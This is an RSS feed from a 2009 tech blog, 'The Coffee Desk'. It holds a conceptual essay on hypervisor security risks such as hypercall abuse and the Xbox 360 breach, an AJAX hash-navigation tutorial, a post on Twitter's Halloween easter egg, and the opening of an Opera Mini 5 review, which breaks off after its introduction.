<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Coffee Desk &#187; Anthony</title>
	<atom:link href="http://thecoffeedesk.com/news/index.php/author/anthony/feed/" rel="self" type="application/rss+xml" />
	<link>http://thecoffeedesk.com/news</link>
	<description>The Leader In Technical News and Commentary</description>
	<lastBuildDate>Fri, 16 Jul 2010 17:39:14 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hypervisor Security Concerns</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/12/01/hypervisor-security-concerns/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/12/01/hypervisor-security-concerns/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 02:37:39 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[Consumer Electronics]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[IT]]></category>
		<category><![CDATA[Operating Systems]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[Hyper-V]]></category>
		<category><![CDATA[hypervisors]]></category>
		<category><![CDATA[long]]></category>
		<category><![CDATA[virtualization]]></category>
		<category><![CDATA[vmware]]></category>
		<category><![CDATA[Xen]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=1145</guid>
		<description><![CDATA[
First off, this is the article that almost didn&#8217;t happen. If you don&#8217;t want to hear this, just skip down to the &#8220;All That Aside&#8221; heading below, but I encourage you to first read through my little &#8220;aside&#8221; here first so you can understand what&#8217;s happening in this article since it doesn&#8217;t follow standard/straightforward blog-authoring [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://thecoffeedesk.com/news/wp-content/media/uploads/2009/12/laptops_security2.jpg" alt="Laptop" title="Laptop" width="341" height="352" class="alignleft size-full wp-image-1211" /><br />
First off, this is the article that almost didn&#8217;t happen. If you don&#8217;t want to hear this, just skip down to the &#8220;All That Aside&#8221; heading below, but I encourage you to first read through my little &#8220;aside&#8221; here first so you can understand what&#8217;s happening in this article since it doesn&#8217;t follow standard/straightforward blog-authoring technique. </p>
<p>See, I&#8217;ve been working on this draft for about three weeks now which covered all of the bases of the concept of hypervisors and a look at the security involved with them and various modes of attack &#8211; all of about 3,000 words according to the draft&#8217;s word count. But then&#8230;<br />
<span id="more-1145"></span></p>
<p><strong>Stuff Came Up</strong></p>
<p>&#8230;I got really really busy. The 3,000 word article was seemingly nowhere-near completion, despite it&#8217;s length and broad (yet, incomplete) coverage of all the concepts that this article needed to &#8220;touch up&#8221; on, and yet my non-blog activities continued to grow in time consumption. So I&#8217;ve chosen to scrap the borderline-eBook draft entirely and to just sum it up here without going on for ages.</p>
<p>Oh, and just so I can finally publish this article without deferring it to an even later date, I&#8217;ve merely placed my sources at the very bottom under their own heading. In other words, if you don&#8217;t take my word for it (and why should you?) then hunt for a reliable source in those links. Properly placing them within the article inline with the rest of the text is simply too time consuming since this is being written in raw HTML; this thing would <i>never</i> get published if I had to place them all in the actual text Wikipedia-style.</p>
<p><strong>All That Aside</strong></p>
<p>The basic idea/thesis of this article (and the previous, unfinished draft) is this: hypervisors are getting more and more common, and are growing in deployment in everything from datacenter systems to embedded consumer electronics. But, as their deployment increases, more and more security concerns come into play, including a variety of attack methods and the dire consequences of a compromised hypervisor. </p>
<p>If you know what a hypervisor is, then skip this paragraph: A hypervisor is basically a very minimalist operating system designed with the purpose of abstracting real, physical computer hardware from one or more virtual machines running &#8220;above&#8221; it (from a layered perspective) &#8211; if you&#8217;ve ever run VMware player/workstation/Fusion/server atop Windows/Linux/Mac OS, a hypervisor is like that only analogous to running VMware player/server/workstation/fusion directly atop the hardware in the form of an operating system, cutting out the &#8220;middleman&#8221; OS to favor performance.</p>
<p>What some don&#8217;t know about hypervisors is that they utilize a few &#8220;dirty hacks&#8221; in order to implement some features and optimizations, which aren&#8217;t always security-hardened. And I don&#8217;t say &#8220;dirty hacks&#8221; in the sense that the programming is bad &#8211; the code is as good as it can be, as far as open source hypervisors can show &#8211; but the very practice of their implementation is what I consider &#8220;dirty&#8221; given their attempt to make the x86/x86-64 architectures do things they weren&#8217;t designed to do, therefore leaving a gaping security flaw capable of compromising many systems at once, including the hypervisor itself and all VMs running atop it.</p>
<p><strong>A Likely Scenario</strong></p>
<p>I&#8217;ll cut the crap and present a common scenario for you to more easily visualize this: say we have a hypervisor running Windows Server 2xxx (version doesn&#8217;t necessarily matter), a Unix OS, and Netware or whatever else your &#8220;dream datacenter server&#8221; would run. As many seasoned security professionals can tell you, each of these systems are potential attack victims with many possible unpatched exploits running on each system: each platform is running it&#8217;s own flawed kernel, flawed processes/services, flawed drivers etc. </p>
<p>Why do I outright accuse them of being flawed? Not to get into the philosophy of IT security, but it&#8217;s because they were designed by humans. Unless a team of gods designed everything from the kernel to each device driver to each individual process running in the OS userland, the system will have flaws with necessary patches in the future of the running system. That&#8217;s not even considering possible exploitable flaws within the underlying hardware itself, hypervisor-emulated or not.</p>
<p>So if one of these naturally-flawed systems were to be compromised, as is a likely scenario considering that it happens all of the time, then only the individual VM is affected &#8211; right?</p>
<p>Wrong.</p>
<p><strong>A New Definition of &#8220;Privilege Escalation&#8221;</strong></p>
<p>Say for example a bug in a service running on the Windows server were exploited by yours truly, and I gained administrator/root access to the system (or even simple non-administrative code execution, for that matter &#8211; read on!)</p>
<p>What follow between the acts of compromising a single hypervisor-controlled VM and the entire series of running systems is largely product-dependent at this point, so I&#8217;ll use generic terminology to provide a vendor-independent route of attack that falls just short of actual proof-of-concept code. Again, if I had enough time, I&#8217;d actually submit some code proving this&#8230;</p>
<p>Basically, a VM communicates with the underlying hypervisor via a &#8220;hypercall,&#8221; which is essentially the same thing as a system call made by a usermode program to request some I/O service of the OS kernel, only it is made between an OS running atop virtualized hardware to request a specific operation of the underlying hypervisor OS. This is usually accomplished via some code the hypervisor vendor provides for each supported guest OS to enhance performance or it is written by the OS developers themselves using the vendor&#8217;s API documentation. </p>
<p>Note that hypercalls and paravirtualization are not the same thing, but are somewhat related in how they operate at the assembly-level and how they are recognized/interpreted by the processor or hypervisor, depending on the operation being streamlined as a paravirtualization optimization. </p>
<p>Right, so there are lower-level system call-esque operations a guest OS can perform to trigger some functionality/behavior from the underlying hypervisor. The key thing to highlight here is that hypercalls are, in most cases, unchecked by the hypervisor as to whether they were invoked by a kernel or usermode program within the guest OS, and also rely on data inputted from the actual code invoking the call. If you have any experience with buffer overflow attacks or anything along those same lines, there&#8217;s an alarm going off in your head as you read all of this. </p>
<p>And it gets better &#8211; sometimes, the guest OS may not be necessary to compromise prior to the hypervisor&#8217;s attack: with VMware&#8217;s hypervisors being the most notable case for doing this, hypervisors many times will allow a direct (bypass-the-guest-OS) interface into the hypervisor to allow for remote settings changes as the VMs run. Remote is the key word here: all that code that accepts incoming connections, accepts user input, relies on the flawed SSL/TLS system for encryption and authentication, and which filters packets before routing them via internal virtual networks emulated within the hypervisor using it&#8217;s own code are attack vectors that, if exploited, allow the direct compromise of the hypervisor and all running VMs without the need to compromise a guest OS using one of their many flaws as discussed earlier. </p>
<p><strong>Real-World, Documented Example of Such An Attack</strong></p>
<p>Maybe you think all of this is a crock of B.S., and after all, the chances of BOTH a guest OS and the hypervisor itself possessing vulnerabilities serious enough to compromise an entire series of systems are slim, right? </p>
<p>Allow me to refer you to this guy: <a href="http://blogs.gartner.com/neil_macdonald/2009/02/20/hypervisor-attacks-in-the-real-world/" rel="nofollow" title="A real-world hypervisor attack" target="_blank">http://blogs.gartner.com/neil_macdonald/2009/02/20/hypervisor-attacks-in-the-real-world/</a> &#8211; this is a real, documented attack acting on a buffer overflow exploit that allowed an attacker to compromise the hypervisor of a rather unlikely victim for this sort of attack: The Microsoft Xbox 360.</p>
<p>The Xbox 360, as you may have read from that link above, is merely a hypervisor itself: the &#8220;Dashboard&#8221; presents the hardware in emulated form to the currently-active game, which functions as a heavily-sandboxed guest OS atop the dashboard (presumably, it makes hypercalls to the Dashboard to draw graphics and accept input from other hardware)</p>
<p>This is just one example of how hypervisors are increasing in deployment and thus increasing in security concerns as well. I mean, who would think, after growing up in the Atari/Nintendo era of gaming consoles that something as advanced as a hypervisor would be allowing us to enjoy the games we play? If you look around, you can find even more shocking examples of hypervisors in unlikely places &#8211; even mobile phones.</p>
<p><strong>Attack Consequences</strong></p>
<p>So if one were to breach the hypervisor running several varieties of guest operating systems, as in my example earlier, one could use said root access to the hypervisor to commit dirty deeds such as planting rootkits into the memory of running operating system kernels, performing filesystem trickery as a side-effect of having direct, unabstracted/raw access to nonvolatile storage mediums, and pretty much anything one wished to do &#8211; after all, you have more control of the running guests than you would in any other scenario. </p>
<p>It&#8217;s like having full debugger capability with a running OS kernel (something Linux kernel debuggers may want to look into as a <i>desired</i> scenario)</p>
<p><strong>Final Notes</strong></p>
<p>Please understand that this article isn&#8217;t meant to be FUD against using hypervisors or a &#8220;we&#8217;re all gonna die&#8221; cry for attention &#8211; I can already predict that <i>somebody</i> will get about halfway down the article, without reading a further-down support of the presented thesis/scenario and immediately flame away within a comment. And I can already predict that said person&#8217;s comment will magically disappear during the moderation process with an email sent to said person asking them politely to finish the article before flaming.</p>
<p>The sources I will list below are other blog posts I read as research into this subject in addition to actual practice with a few hypervisors myself, back when I still had some free time. Also linked to is some source code from the open-source Xen hypervisor, which allows a direct look into the process of detecting/validating and processing a hypercall (which is also briefly defined in another Xen Wiki link below)</p>
<p>Much of the standing-flaws with hypervisors and research into the like have been performed against either Microsoft&#8217;s Hyper-V or any other private Microsoft-made hypervisor (such as the Xbox 360 Dashboard). While I certainly don&#8217;t doubt that Microsoft&#8217;s hypervisors are just as (if not more) flawed than the next hypervisor, all of them should be researched and hardened against attacks and as frequently patched as one made by a different vendor. </p>
<p>Don&#8217;t let the vendor&#8217;s name and image/history provide a false sense of security or cause one not to patch the hypervisor any less than the next product or OS: they all are vulnerable, and as more research is performed to test their security, applying vendor-released patches remains essential in this day and age of rampant exploiting by even more juvenile and not-so-juvenile hackers as each day passes in the sea of limitless information provided by the Internet.</p>
<p>With that final word of advice, I&#8217;m ending this article. If it seems long, consider the fact that this after the process of whittling away at my previous, unfinished 3,000 word draft in a desperate attempt to finally publish this thing and get this information out to those who need it the most. Like I said before, this is the article that <i>almost</i> didn&#8217;t happen&#8230;</p>
<p><strong>Sources/References</strong></p>
<p><a href="http://wiki.xensource.com/xenwiki/hypercall" target="_blank" rel="nofollow">Xen Wiki Hypercall formal definition</a><br />
<a href="http://blogs.gartner.com/neil_macdonald/2009/03/02/securing-hyper-v/" target="_blank" rel="nofollow">Securing Hyper-V: a generic overview of potential hypervisor security issues and prevention</a> (Hyper-V specific)<br />
<a href="http://blogs.gartner.com/neil_macdonald/2009/02/17/hypervisor-attacks-and-hurricanes-are-inevitable-but-breaches-dont-have-to-be/" target="_blank" rel="nofollow">A basic analogy to apply a fundamental security principle to Hypervisor security</a> (&#8220;if it&#8217;s possible to exploit, don&#8217;t assume it won&#8217;t be&#8221;)<br />
<a href="http://secunia.com/advisories/vendor/1/" target="_blank" rel="nofollow">Secunia Advisories for Microsoft Products</a> (dig through here for some MS-specific virtualization exploits, or even other vendors)<br />
<a href="http://blogs.gartner.com/neil_macdonald/2009/02/20/hypervisor-attacks-in-the-real-world/" target="_blank" rel="nofollow">A real-world hypervisor security breach: the Xbox 360 Dashboard</a><br />
<a href="http://www.anthonycargile.info/lxr/http/source/xen/include/public/xen.h?v=xen-3.3.1" target="_blank">Xen source code index for xen.h, the Guest OS interface to Xen</a> (for version 3.3.1; details hypercall parsing and operation)</p>
<p><i>[Finally, the end of this article...]</i></p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/12/01/hypervisor-security-concerns/" rel="bookmark">Hypervisor Security Concerns</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on December 1, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/12/01/hypervisor-security-concerns/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Use of AJAX To Conserve Bandwidth and Processing</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/11/08/ajax-url-save-bandwidth-processing/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/11/08/ajax-url-save-bandwidth-processing/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 19:44:52 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[IT]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[The Internet]]></category>
		<category><![CDATA[Web design]]></category>
		<category><![CDATA[!cross platform]]></category>
		<category><![CDATA[accessibility]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[bandwidth]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[Web 2.0]]></category>
		<category><![CDATA[web darwinism]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=1120</guid>
		<description><![CDATA[Ever noticed in Gmail, Twitter or Facebook how the last portion of the URL (the so-called &#8220;hash&#8221;) changes with each navigation, while the actual URL remains the same?
This unique AJAX technique, employed by some of the top current Web 2.0 apps, has many benefits besides usability: it actually saves the bandwidth of the site by [...]]]></description>
			<content:encoded><![CDATA[<p>Ever noticed in <strong>Gmail</strong>, <strong>Twitter</strong> or <strong>Facebook</strong> how the last portion of the URL (the so-called &#8220;hash&#8221;) changes with each navigation, while the actual URL remains the same?</p>
<p>This unique AJAX technique, employed by some of the top current Web 2.0 apps, has many benefits besides usability: it actually saves the bandwidth of the site by an astounding amount, and defers the latency of the new page&#8217;s loading to the responsibility of the client-side web browser&#8217;s script compilation instead of downloading a new, full page each change in navigation.<br />
<span id="more-1120"></span></p>
<p><strong>The Basis of the Technique</strong></p>
<p>If you want to see this in action, simply click on your replies within Twitter&#8217;s web client, do anything in Gmail/<a href="http://thecoffeedesk.com/news/index.php/2009/11/03/google-wave-review/" title="Google Wave Review" target="_blank">Google Wave</a>, or click a profile/photo in Facebook &#8211; watch the URL, particularly the last part (everything past the &#8216;#&#8217; character, called the &#8220;hash&#8221; by many.)</p>
<p>Basically, it works like this: whenever you perform an action that requires a change in navigation, e.g. clicking a link to go to a profile or to view an email, a JavaScript &#8220;onclick&#8221; event handler for that link calls a shared &#8220;AJAX load this page&#8221; function that begins to load the data required to change the page. </p>
<p>Also, it updates the URL&#8217;s post-hash characters to make the &#8220;new page&#8221; bookmark-friendly in case a user wants to go directly to that page as if it were static HTML instead of a dynamic client-side scripting-dependent page instance. </p>
<p>Likewise, each time a page within Gmail (or whatever app) is loaded, it checks for hash characters and will load the data into the page, transparently to the user. Because of this, most of the time the characters after the hash is simply the latter part of a URL to be inserted into the AJAX function to load the page, e.g. the characters necessary to download a page called &#8220;http://www.gmail.com/&#8221;+hashtag etc.</p>
<p><strong>Benefits of this System: bandwidth</strong></p>
<p>Most professionals use this simple AJAX technique to simplify the navigation of their site and to track user activity, but there is an often-overlooked advantage to using this model: bandwidth conservation and faster loading speed via deferred processing.</p>
<p>Here&#8217;s a rudimentary example: when your web app doesn&#8217;t use AJAX-loading and instead relies on unique page loads each and every time the user navigates to a new page, here is what is sent to the client&#8217;s web browser each time, following server-side processing:</p>
<hr />
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;<br />
<br />&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;head profile=&quot;http://gmpg.org/xfn/11&quot;&gt;<br />
<br />&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;<br />
<br />&lt;title&gt;Title Here&lt;/title&gt;&lt;script src=&quot;../../script.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;<br />
<br />&lt;!&#8211; keep in mind that each time this full page is loaded, server-side scripting is executed for tasks like query-string/post-data processing and file inclusion &#8211; therefore heavy processing amounts and file system I/O is required &#8211;&gt;<br />
<br />&lt;link rel=&quot;stylesheet&quot; src=&quot;/style.css&quot; type=&quot;text/css&quot; /&gt;<br />
<br />&lt;meta name=&quot;description&quot; content=&quot;every little character counts!&quot; /&gt;<br />
<br />&lt;/head&gt;&lt;body onload=&quot;load()&quot;&gt;<br />
<br />&lt;!&#8211; site-wide navigation bars, formatting dividers, and other common page elements go here, followed by the actual page-specific content that could have alternatively been loaded directly via AJAX &#8211;&gt;<br />
<br />&lt;/body&gt;&lt;/html&gt;</p>
<hr />
Keep in mind that the example provided only a small subset of what most sites, especially web applications, usually entail within a typical page: most of the time, heavy server-side processing and many scripts/stylesheets are included in every page load along with the sizable chunk of site-wide formatting elements (i.e. div&#8217;s etc.)</p>
<p>Even if the browser caches these files and page snippets, the inclusion statement still represents an unnecessary amount of bandwidth when multiplied by the number of concurrent users. </p>
<p>However, if a page uses AJAX-loading to load new content into the existing page, all of the above example code would only be loaded once, including site-wide elements such as navigation menus and general formatting sections. </p>
<p>Instead, the AJAX would only request &#8220;page-specific&#8221; content such as a particular email&#8217;s content (in the case of Gmail) and insert it within the existing page, which only had to load once. </p>
<p>This way, once the common site elements are loaded into the browser, only the changing content needs to&#8230; well&#8230; change. This can lead to tremendous savings on bandwidth, which is important when many users are hitting the site at once. </p>
<p>(props for still reading this longer-than-normal article &#8211; hang in there!)</p>
<p><strong>Another benefit: Processing speed</strong></p>
<p>When most browsers process a script, they first download the plaintext .js file from the server upon seeing it&#8217;s inclusion statement within the HTML. Then, they compile it directly to native code (or some similar action) and store the compiled JavaScript into the browser&#8217;s cache for future execution. </p>
<p>So, when the initial page is loaded, the included AJAX script for loading future content is compiled and cached, making it&#8217;s future execution very fast. This lowers the latency involved on the client-side when downloading future content to be loaded into the running page, and since bandwidth consumption is kept to that of the content&#8217;s usage only, the process is extremely fast compared to loading a full page each time. </p>
<p><strong>Further Enhancements</strong></p>
<p>If the server and web browser are configured properly, then the <strong>Apache mod_gzip/mod_deflate</strong> could further boost the speed of this process. This puts more of the loading process in the realm of processing and conserves bandwidth more, and qualifies as an enhancement since bandwidth is more of a scarce resource than processing power. </p>
<p>In other words, you&#8217;re more likely to see a quad-core on a DSL or shared cable connection than a Pentium III hooked into a T3 line, so lower bandwidth in favor of processing time in most situations while employing sniffing practices to ensure mobile accessibility. </p>
<p>Speaking of <strong>accessibility</strong>, notice that on most AJAX-employing Web apps that although there is a JavaScript event handler associated with a link, they don&#8217;t forget to keep the link intact: there is no &#8216;href=&#8221;#&#8221;&#8216; in Gmail or Facebook &#8211; a quick look at the status bar while hovering over a link will reveal basic accessibility fundamentals in practice.</p>
<p>This, combined with appropriate JavaScript feature degradation (without resorting to NOSCRIPT tags) will ensure accessibility while using this advanced technique: if the client doesn&#8217;t support AJAX loading or JavaScript at all, then fall back on regular site loading using full page requests.</p>
<p>Since only a negligible amount of users fall into that category anyway (including <strong>Googlebot</strong> and other crawlers), the loss of performance due to a few client requiring full page loads is relatively small. </p>
<p><strong>Final Notes</strong></p>
<p>So, as seen in the examples above, the use of AJAX content loading within web apps, as employed by Gmail and Facebook, has numerous advantages to the site and its usability while remaining transparent to the users.</p>
<p>Best of all, if done correctly, it can be unobtrusive and therefore non-impacting to a site&#8217;s SEO or accessibility. </p>
<p>Almost everything discussed here neglects the role and possible optimization in the server-side scripting involved in all this, but each web app is unique and therefore can be optimized to best suit the situation as far as server-side optimizations go: just keep the main page&#8217;s inclusion rate low so the initial page loads fast, and keep the &#8220;dirty work&#8221; required by the server-side AJAX handler to a minimum. </p>
<p>Also look into distributing the load between several scripts to handle different types of AJAX requests, reducing query-string parameters and the conditionals involved in their processing, and even look into distributed computing (mod_proxy and it&#8217;s family) for self-hosted web apps with large scalability requirements.</p>
<p>In addition, the AJAX-handlers can be easily made into a rudimentary API for a web app you may want to make available for an iPhone/Blackberry app, or if you wish to open it up for any client as Twitter and FMyLife.com have done.</p>
<p>One thing is certain, however: whatever the aim of your web app may be, with very few exceptions, you will almost certainly benefit from this JavaScript AJAX programming technique upon its deployment within your site or app.</p>
<p>I hope this will convince more app authors to move to this system of page loading. Until next time&#8230; <img src='http://thecoffeedesk.com/news/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/11/08/ajax-url-save-bandwidth-processing/" rel="bookmark">Use of AJAX To Conserve Bandwidth and Processing</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on November 8, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/11/08/ajax-url-save-bandwidth-processing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Twitter &#8220;Happy Halloween&#8221; &#8211; Trick Or Treat?</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/10/30/twitter-happy-halloween-trick-treat/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/10/30/twitter-happy-halloween-trick-treat/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 22:17:08 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[Artificial Intelligence]]></category>
		<category><![CDATA[Humor]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[The Internet]]></category>
		<category><![CDATA[Web design]]></category>
		<category><![CDATA[Archive]]></category>
		<category><![CDATA[easteregg]]></category>
		<category><![CDATA[holiday]]></category>
		<category><![CDATA[how]]></category>
		<category><![CDATA[screenshots]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[web darwinism]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=1095</guid>
		<description><![CDATA[Twitter decided to give a nice Happy Halloween to users today in the form of radically changing the site&#8217;s design and modifying tweets upon an update containing solely &#8220;#trick&#8221; or &#8220;#treat&#8221; tweeted from its standard web client. 
Below are some screenshots of this temporary feature (for historic purposes) and a little information about it.

Article Sections:
#treat
#trick
Technical [...]]]></description>
			<content:encoded><![CDATA[<p>Twitter decided to give a nice <strong>Happy Halloween</strong> to users today in the form of radically changing the site&#8217;s design and modifying tweets upon an update containing solely &#8220;<strong>#trick</strong>&#8221; or &#8220;<strong>#treat</strong>&#8221; tweeted from its standard web client. </p>
<p>Below are some screenshots of this temporary feature (for historic purposes) and a little information about it.<br />
<span id="more-1095"></span></p>
<p>Article Sections:<br />
<a href="#treat" title="Twitter's Happy Halloween treat">#treat</a><br />
<a href="#trick" title="Twitter's Happy Halloween trick">#trick</a><br />
<a href="#how" title="How Twitter's Happy Halloween works">Technical Details</a><br />
<a href="#conclusion" title="Personal note">Final Notes</a><br />
<a href="#video" title="Twitter halloween screencast">Update: Screencast Added</a></p>
<p><a name="treat"></a><br />
<strong>#treat</strong></p>
<p>Although not nearly as interesting as it&#8217;s Halloween-themed counterpart, the #treat update displayed this design over the timeline:</p>
<p><a target="_blank" href="http://img252.imageshack.us/img252/8603/treat.png" title="Twitter Happy Halloween #treat screenshot"><img src="http://img252.imageshack.us/img252/8603/treat.png" alt="Twitter Happy Halloween #treat screenshot" /></a></p>
<p>But the #treat easter-egg isn&#8217;t nearly as fun as the #trick easter-egg:</p>
<p><a name="trick"></a><br />
<strong>#trick</strong></p>
<p>First, right after the update solely containing &#8216;#trick&#8217; is &#8220;published&#8221;, this drop-down message is displayed after the new background is loaded:</p>
<p><a href="http://img257.imageshack.us/img257/1377/trick2.png" title="Twitter Happy Halloween #trick trick screenshot" target="_blank"><img src="http://img257.imageshack.us/img257/1377/trick2.png" alt="Twitter Happy Halloween #trick" /></a></p>
<p>Then, after a progressive timeline/tweet modification, the next change appeared: </p>
<p><a href="http://img257.imageshack.us/img257/3136/trick.png" target="_blank" title="Twitter Happy Halloween #trick trick screenshot"><img src="http://img257.imageshack.us/img257/3136/trick.png" alt="Twitter Happy Halloween #trick Trick screenshot" /></a></p>
<p>By far, this was my favorite modification of the two. Also, it earns more of an &#8216;easter-egg&#8217; status than the former because I don&#8217;t recall ever seeing #trick trending throughout the day as I did #treat.</p>
<p><a name="how"></a><br />
<strong>How it works</strong></p>
<p>This is a little techy, but basically Twitter added a hook into their JavaScript&#8217;s AJAX tweet-publishing code that did some simply string matching to detect the single strings &#8220;#trick&#8221; or #&#8221;treat&#8221;, in order to perform a special action in response. </p>
<p>The background of the page, at least in the case of the #trick&#8217;s biohazard image, is a transparent PNG laid over the page&#8217;s background. I know this without even looking at the code because the coffee-colored background was visible under the biohazard image before it was changed to black to further complete the process of setting the new design. </p>
<p>The usual now-famous Twitter drop-down box was recycled for the &#8220;Happy Halloween&#8221; message, only using a black background with a yellow Arial(?) font in the case of the #trick design. I assume absolute-positioned transparent PNGs are what allowed the spider webs/witches to lie over the drop-down messages. </p>
<p>And note that the tweet is never published &#8211; some hard-wired control flow code prevents it from reaching Twitter&#8217;s servers in favor of redesigning the client&#8217;s appearance. </p>
<p><a name="conclusion"></a><br />
<strong>Enjoy!</strong></p>
<p>I saved the screenshots in case someone missed it, and for historic purposes. </p>
<p>I actually discovered this by simply seeing people tweet about #trick/#treat (with other words in their tweet) and by seeing #treat within the Trending Topics. </p>
<p>Twitter actually provided a description for the egg within the trending topic for #treat. Without their explicitly stating it, I (and presumably other users) would have never thought to tweet JUST #trick or #tweet. Besides, unless I&#8217;d already seen it I&#8217;d look like a spammer or idiot with a published tweet containing only #trick or #tweet. </p>
<p>But, that said, I really enjoyed this new added feature today, along with Google&#8217;s &#8220;<strong>This space intentionally left blank</strong>&#8221; thing on their front page. </p>
<p>I hope everyone out there enjoyed this as much as I did!</p>
<p><a name="video" title="screencast"></a><br />
<strong>Update: YouTube Screencast Now Available</strong></p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/POggOSTUrcY&#038;hl=en&#038;fs=1&#038;rel=0&#038;color1=0x3a3a3a&#038;color2=0x999999"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/POggOSTUrcY&#038;hl=en&#038;fs=1&#038;rel=0&#038;color1=0x3a3a3a&#038;color2=0x999999" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/10/30/twitter-happy-halloween-trick-treat/" rel="bookmark">A Twitter &#8220;Happy Halloween&#8221; &#8211; Trick Or Treat?</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on October 30, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/10/30/twitter-happy-halloween-trick-treat/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Opera Mini 5 Beta Review</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/10/21/opera-mini-5-beta-review/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/10/21/opera-mini-5-beta-review/#comments</comments>
		<pubDate>Thu, 22 Oct 2009 01:33:22 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[Consumer Electronics]]></category>
		<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[beta]]></category>
		<category><![CDATA[Blackberry]]></category>
		<category><![CDATA[embedding]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[Opera Mini]]></category>
		<category><![CDATA[web browsers]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=1059</guid>
		<description><![CDATA[To start off, let me say that I&#8217;m not a huge fan of Opera. I just never really adapted to their desktop browser, and their proprietary rendering engine sometimes tends to subtly &#8220;botch&#8221; websites that otherwise appear fine in Gecko/WebKit/Trident-based browsers. 
However, despite this fact, I have found Opera Mini 5 Beta to be the [...]]]></description>
			<content:encoded><![CDATA[<p>To start off, let me say that I&#8217;m not a huge fan of Opera. I just never really adapted to their desktop browser, and their proprietary rendering engine sometimes tends to subtly &#8220;botch&#8221; websites that otherwise appear fine in Gecko/WebKit/Trident-based browsers. </p>
<p>However, despite this fact, I have found Opera Mini 5 Beta to be the best mobile browsing experience in the world, even topping Safari on the iPhone/iTouch.<br />
<span id="more-1059"></span></p>
<p><strong>First, A Word On Your Humble Reviewer</strong><br />
You may have read my in-depth <strong><a href="http://thecoffeedesk.com/news/index.php/2009/08/22/iphone-vs-blackberry/" title="iPhone vs. Blackberry">iPhone vs. Blackberry</a></strong> article, but if not, here&#8217;s the skinny on me as a reviewer: I&#8217;m a die-hard crackberry addict, yet I&#8217;ve spent almost just as much time using and developing for the iPhone and other smart phones (such as Android and Windows Mobile). </p>
<p>Basically, I&#8217;m the one who&#8217;s behind the bathroom stall making all that tapping and scrolling noise (my Curve has a trackball-thing).</p>
<p>One of my favorite apps for the Blackberry is the Opera web browser, simply because the Blackberry browser is terrible and as far as I know, Firefox has not released a J2ME version yet. I&#8217;ve been using Opera Mini 4 for almost a whole year now as my mobile web browser, and have been very impressed albeit without being &#8220;wowed&#8221;. </p>
